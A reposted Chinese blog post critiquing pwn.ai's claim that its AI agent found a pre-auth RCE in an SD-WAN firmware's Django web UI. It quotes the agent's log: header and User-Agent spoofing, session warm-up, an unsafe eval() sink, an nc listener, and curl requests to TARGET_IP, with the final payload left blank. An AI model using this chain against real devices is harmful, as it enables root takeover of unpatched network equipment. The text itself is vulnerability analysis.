文章总结： 本文介绍了pwn.ai声称其AI智能体在某SD-WAN设备固件SXZOS中发现满分RCE零日漏洞的过程。该漏洞存在于DjangoWeb界面，通过伪造头部和预热Session绕过中间件防护，利用vLogin视图中不安全的eval()函数实现未授权远程代码执行。作者批评该漏洞难度较低且属常规审计范畴，质疑pwn.ai的营销炒作，同时指出厂商7个月未修复漏洞的违规风险。 综合评分： 84 文章分类： 漏洞分析,AI安全,WEB安全,漏洞POC,渗透测试
我家狗也能挖！全球首例AI智能体满分RCE漏洞。
原创
一个不正经的黑客
一个不正经的黑客
2025年12月31日 08:31 广东
背景
最近刷到一篇文章，讲一个网络安全机构 pwn.ai 利用自家产品智能体挖到满分的RCE漏洞，这不一下子击中本菜的G点，跳起床板都要去学习一番。
结果大失所望，pwn.ai 的AI 智能体实际表现差强人意，这种简单的上下文，我觉得丢给cursor自动审计效果都比这个快很多。
搞一个如此浮夸的文章再配上一个如此简单的漏洞，实属雅俗共赏了，目前营销AI概念的风已经吹遍了各行各业，在这种群魔乱舞的时代，技术从业者要时刻保持清醒的认知，准确把握技术前进方向。
正文学习
本次受害者：某XSD是一家中国网络设备供应商，以路由器、SD-WAN设备和智能电视控制器等边缘设备而闻名。其核心固件SXZOS为一系列SD-WAN设备提供支持，这些设备尤其广泛应用于远程工业和分支机构环境。
我们交给 pwn.ai 的任务是：
自主模拟该设备，识别其攻击面，并尝试实现完整的、未经身份验证的远程命令执行。
它迅速识别出一个完整的预身份验证远程代码执行入口点，并告知我们它找到了入侵途径。
我们选择它作为首个披露的漏洞，是因为与其他厂商不同，尽管我们联系 XSpeeder 超过七个月，却始终未能收到任何回复。因此，截至本文发布之时，这仍然是一个零日漏洞。
据我们所知，这是第一个被公开的、由代理发现的、可远程利用的零日远程代码执行漏洞。
下方展示了我们的代理集群如何协同工作以达成此结果。它们基于我们自主研发并不断改进的架构运行，该架构融合了我们数十年的黑客经验。
由于用于发现此漏洞的架构已运行超过十个月，我们的平台已进行了重大升级，显著提升了漏洞检测和利用能力。
00:00:00] TASK : Find pre-auth code execution in SXZOS web UI[00:00:00] CONTEXT : Firmware ISO available; explore offline, then validate in live VM
pwn.ai 思路 → 从离线开始。与盲目模糊测试相比，对固件的分析更有效：它能揭示路由逻辑、认证逻辑和“下沉点”（可能是可被攻击的代码入口）——特别是在那些将 Python 框架胶水代码与定制逻辑混合的嵌入式用户界面中。
设置和图像挂载
[00:02:11] ACTION : Install ISO in VirtualBox → first boot completes provisioning → clean shutdown[00:03:02] ACTION : Load NBD and attach the VDI to /dev/nbd0[00:03:02] RUN : modprobe nbd max_part=16[00:03:05] RUN : qemu-nbd -c /dev/nbd0 "/home/user/VirtualBox VMs/Xspeeder/Xspeeder.vdi"[00:03:09] ACTION : Identify partitions[00:03:09] RUN : lsblk -f /dev/nbd0[00:03:10] OUTPUT :NAME FSTYPEnbd0├─p1 ext4└─p2 ext4
[00:03:15] ACTION : Mount root filesystem[00:03:15] RUN : mount /dev/nbd0p2 /mnt && cd /mnt
pwn.ai 思路 → 当前目标：识别 Web 堆栈的指纹（包括框架、配置和 URL 映射）。并向协同器（orchestrator）请求下一步指令…
文件系统侦察 → Django 应用
[00:04:02] ACTION : Enumerate app roots[00:04:02] RUN : ls -la /[00:04:04] OBS : /xspeeder present[00:04:10] RUN : ls -la /xspeeder/xweb[00:04:11] OBS : manage.py, xweb/, xapp/[00:04:16] RUN : sed -n '1,50p' /xspeeder/xweb/manage.py[00:04:17] OUTPUT :#!/usr/bin/env pythonimport os, sysif __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xweb.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)......pwn.ai 思路 → 已确认是 Django 框架。下一步：检查 settings.py 中的 INSTALLED_APPS 和 ROOT_URLCONF 配置。然后查看 urls.py 以识别未认证访问的入口点（pre-auth surfaces）。
设置和 URL 路由 → 身份验证前界面
[00:04:29] RUN : sed -n '1,200p' /xspeeder/xweb/xweb/settings.py | egrep -n 'INSTALLED_APPS|ROOT_URLCONF|MIDDLEWARE'[00:04:30] OUTPUT :INSTALLED_APPS = (# 'django.contrib.admin',# 'django.contrib.auth',# 'django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','xapp',)MIDDLEWARE = ( 'xweb.middlewares.GateKeeper', 'django.contrib.sessions.middleware.SessionMiddleware', ...)ROOT_URLCONF = 'xweb.urls'
[00:04:41] RUN : sed -n '1,160p' /xspeeder/xweb/xweb/urls.py[00:04:42] OUTPUT :urlpatterns = [ url(r'^$','xapp.vLogin.index'), url(r'^webInfos/$','xapp.vLogin.webInfos'), url(r'^default/$','xapp.views.default'), ...]
pwn.ai 思路 → 存在中间件（middleware）和自定义路由。在我们甚至还没到达主页面（index）之前，请求就会先经过一个 GateKeeper 层。Suggestor 认为：可能会有反机器人检测/头部检查或浅层的载荷扫描。
迷惑层与可达性障碍
[00:04:45] RUN : sed -n '1,220p' /xspeeder/xweb/xweb/middlewares.py[00:04:47] OUTPUT :class GateKeeper(object): def process_request(self, request): # Soft anti-bot: time-slice nonce header nonce = str(int(time.time()/60) % 7) if request.META.get('HTTP_X_SXZ_R') != nonce: return HttpResponseForbidden() # Session "warm-up" required if not request.session.get('sid'): return HttpResponseRedirect('/default/') # Cosmetic payload scan (pre-decode) if 'system' in request.GET.get('chkid', ''): return HttpResponseBadRequest("blocked") return None
00:04:48] OBS : Three gates before index: a rotating header, a session bit, and a naive string scan on encoded data.
pwn.ai 思路 → 好消息。Suggestor（建议模块）反馈没有发现严重阻碍因素。字符串扫描会在 Base64 解码之前去识别系统；它可能甚至不会真正看到载荷内容。另外两个（检查点/条件）可以很容易满足，而无需触碰易受攻击视图中那三个参数的约束条件。
[00:04:50] RUN : sed -n '1,160p' /etc/nginx/sites-available/sxzweb.conf[00:04:51] OUTPUT :location / { if ($http_user_agent !~* SXZ) { return 403; } try_files $uri @django;}
[00:04:52] OBS : Nginx UA gate → simple header spoof.[00:04:54] PLAN : Precompute header nonce; prime session via a harmless endpoint; set SXZ-like UA. [00:04:54] All of these use headers/cookies, so the vulnerable view can still see exactly 3 query params.[00:04:56] RUN : export HX=$(python - <<'PY' import time; print(int(time.time()//60)%7) PY ) && echo $HX[00:04:58] RUN : curl -skI -A 'SXZ/2.3 (Linux; rv:88.0)' -H "X-SXZ-R: $HX" https://TARGET_IP/webInfos/[00:04:59] OUTPUT :HTTP/1.1 200 OKSet-Cookie: sessionid=abc123...; Path=/; HttpOnly...
[00:05:00] OBS : Session warmed; cookie captured.
易受攻击的视图发现
[00:05:05] RUN : sed -n '1,220p' /xspeeder/xweb/xapp/vLogin.py[00:05:06] OUTPUT : (truncated)[00:05:08] RUN : nl -ba /xspeeder/xweb/xapp/vLogin.py | sed -n '1,200p'[00:05:10] GREP : wide sink sweep (eval, exec, compile, pickle, yaml.load, os.system, subprocess, b64decode, json.loads…)[00:05:10] RUN : egrep -RIn --color \-e 'eval(|exec(|compile(' \-e 'pickle.loads|marshal.loads|yaml.load' \-e 'os.system|popen|subprocess' \-e 'b64decode|json.loads|ast.literal_eval' \/xspeeder/xweb/xapp/[00:05:11] OUTPUT :18: hData = request.GET34: if len(hData) == 3:35: if 'chkid' in hData:36: chkid = hData['chkid']37: infos = b64decode(chkid)38: if 'sUserCode' in infos and 'sPwd' in infos:39: dic = eval(infos)
pwn.ai 思路 → 发现了一个可利用的“下沉点”（exploitable sink）。需要正好三个查询参数；对其中内容进行 Base64 解码；包含子串判断逻辑（substring oracle）；并使用 eval() 执行 —— 该漏洞在未认证（pre-auth）的情况下触发 —— 并很可能以 root 权限运行。
[00:05:40] PLAN : Keep query params at 3 (title, oIp, chkid). Satisfy middleware using headers/cookie only:User-Agent: SXZ/2.3 ...X-SXZ-R: <minute_nonce>Cookie: sessionid=abc123...Append #sUserCodexsPwd to decoded payload to pass the substring gate.[00:05:45] ACTION : Base64-encode the crafted string for chkid[00:05:46] OUTPUT :
pwn.ai 思路 → 一切看起来都可达且应该可以利用。正在测试中。
监听器与阴性对照
[00:06:02] ACTION : Start OOB sink to observe side-effects (listener)[00:06:02] RUN : nc -lv 8888[00:06:09] NEG-CTRL : Send request with 2 params only (expect gate fail)[00:06:09] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=A&chkid=AAAA'[00:06:10] OBS : No OOB activity → Gate A enforced[00:06:18] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=A&oIp=B&chkid=YmFkX2RhdGE='[00:06:19] OBS : No OOB activity → Gate B enforced[00:06:27] ACTION : Fire exploit meeting all gates[00:06:27] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=ABC&oIp=XYZ&chkid='[00:06:28] LISTENER : inbound connection from TARGET_IP[00:06:28] LISTENER : payload result received (redacted)[00:06:28] STATUS : RCE confirmed; privilege = root; pre-auth; single HTTP GET
pwn.ai 思路 → 深度防御看起来很表面。那些“关卡”要求使用一个按分钟计算同步的请求头和预热过的会话 Cookie —— 但因为它们只存在于中间件和 Nginx 层，并不改变易受攻击视图本身的要求，所以我们仍然能够成功获得远程代码执行（RCE）。
漏洞点评
整个观感看下来就是大众常说的审计挖洞短平快三步曲： 1.找路由 2.看鉴权 3.RCE Sink点，一般来说比较高级的漏洞会出现在第二点绕过鉴权复杂性上，毕竟如何把一个PreAuth的功能点利用成漏洞相比于简单鉴权绕过更有技术视觉冲击性。
当然我觉得Pwn.ai 智能体的亮点在于能够实现流水线生产出审计脚本小子最爱的RCE漏洞（但文章风向不知道是不是我理解有误不，反而觉得是在说挖掘到很高级的漏洞），这是打算把审计脚本小子的饭碗给砸了，但是从我对pwn.ai的一些公开了解来看，其在X上2022年开始活跃。
甚至以前还运营了一些博客，查看它以前一些原创漏洞文章，确实没发现有什么特别惊艳人的地方。
所以真的有pwn.ai官网所说的具备应用落地实战性么？ 看官网，目前一切都是waitlist，还没有正式对公众开放，blog也只有一篇文章，相比xbow来说，pwn.ai 我觉得真的是差了不少档次。
至少，作为一个技术比较菜的技术从业人员，先不论智能体的水平如何，单是看漏洞文章，都很容易感知到两个竞品的漏洞文章作者对于漏洞理解以及对AI意图的把握程度差距到底在哪。
最后，我想说，7个月未修漏洞的某受害者，你到底是不是倒闭了呢？ 还是说，网络安全法里面的条条框框，你们找到背锅侠了么？
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：一个不正经的黑客 一个不正经的黑客《我家狗也能挖！全球首例AI智能体满分RCE漏洞。》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论